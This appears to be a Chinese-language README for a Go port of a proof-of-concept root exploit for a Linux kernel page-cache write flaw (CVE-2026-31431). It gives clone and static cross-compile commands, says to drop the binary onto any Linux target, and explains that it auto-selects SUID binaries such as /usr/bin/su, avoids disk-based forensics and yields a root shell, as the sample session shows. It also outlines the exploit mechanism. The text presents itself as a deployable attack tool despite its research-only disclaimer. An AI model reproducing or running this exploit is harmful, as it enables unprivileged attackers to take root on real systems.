grenkoca 的 Python PoC 的 Go 移植版本,针对 CVE-2026-31431(copy-fail)。
此版本可编译为完全静态的二进制文件,零运行时依赖——无需 Python、无需 pip、无 libc 版本限制。将其放到任何 Linux 目标上即可运行。它还会自动枚举目标上所有 SUID 全局可读二进制文件,并让你通过交互式菜单选择要利用的目标。
仅限授权的安全研究和 CTF 使用。
由 Theori 发现并于 2026 年 4 月 29 日 公开披露,Copy.Fail 是 Linux 内核 algif_aead 加密模块中的一个逻辑缺陷,由 2017 年的一项优化 引入。它影响自 2017 年以来所有主流 Linux 发行版。
通过操纵内核的 AF_ALG 加密接口,非特权攻击者可以将受控数据直接写入 Linux 页缓存——即受信任系统二进制文件的内存表示。这允许临时劫持 /usr/bin/su 等二进制文件,而无需修改磁盘上的文件,使基于磁盘的取证对攻击视而不见。
与许多依赖竞态条件或内核地址泄漏的 LPE 缺陷不同,Copy.Fail 高度可靠,仅凭标准用户账户即可稳定利用。
影响:
受影响的内核: 自 2017 年以来的所有发行版。具体版本范围请参阅 grenkoca 的原始 PoC。
| 原始版本(Python) | 本仓库(Go) | |
|---|---|---|
| 语言 | Python 3 | Go 1.21+ |
| 目标 | 硬编码 /usr/bin/su | 通过实时文件系统扫描自动检测 |
| 目标选择 | 无 | 交互式编号菜单 |
| 分发方式 | 脚本 | 单个静态二进制文件(无运行时依赖) |
| 工具 | 版本 |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
-s -w 标志会剥离调试信息以减小二进制文件体积。CGO_ENABLED=0 可生成完全静态、无 libc 依赖的二进制文件——无论 glibc 版本如何,均可直接放到任何 Linux 目标上运行。
| 目标 | 命令 |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux 32 位 x86 | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
将二进制文件传输到目标并执行(无需 root 权限):
./copy-fail
示例会话:
CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC
Scanning for SUID world-readable binaries...
SUID world-readable binaries found:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Select target [1-4]: 1
[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root
O_RDONLY 打开目标 SUID 二进制文件——无需写权限。authencesn(hmac(sha256),cbc(aes)) AEAD 变换的 AF_ALG(SOCK_SEQPACKET)套接字。MSG_MORE 和 SOL_ALG 控制消息的精心构造的 sendmsg,以针对目标文件的页缓存条目排队一个加密操作。splice(2) 将文件中的页面移入 ALG 套接字,触发易受攻击的内核路径,该路径会写回修改后的页缓存页面,而不会重新检查文件权限。